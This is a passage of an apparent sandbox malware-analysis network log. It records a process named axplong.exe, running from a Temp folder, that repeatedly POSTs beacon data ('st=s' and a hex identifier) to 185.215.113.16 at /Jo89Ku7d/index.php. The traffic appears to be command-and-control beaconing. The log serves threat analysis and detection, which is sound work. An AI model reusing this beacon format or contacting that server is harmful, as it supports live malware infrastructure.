42	192.168.2.4	55692	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:48.961951017 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:49.663727045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:49.664663076 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:49.887764931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	55693	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:50.009607077 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:50.718216896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:50.720468998 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:50.952598095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	55694	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:51.071559906 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:51.787897110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:51.791172981 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:52.044739962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	55695	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:52.165045023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:52.860023975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:52.861165047 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:53.087915897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	55696	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:53.196351051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:53.931524992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:53.935012102 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:54.172363043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	55697	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:54.290257931 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:55.040893078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:55.041682959 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:55.270845890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	55698	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:55.384109020 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:56.093096018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:56.094094992 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:56.320708990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	55699	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:56.432461977 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:57.150849104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:57.153429985 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:57.382288933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	55700	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:57.493696928 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:58.201766014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:58.202657938 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:58.435995102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	55701	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:58.555748940 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:59.249171972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:59.250042915 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:59.473507881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	55702	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:59.587268114 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:00.296009064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:07:00.296989918 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:00.523525953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	55703	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:00.635102034 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:01.370619059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:07:01.374037027 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:01.602348089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	55704	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:01.712519884 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:02.426134109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
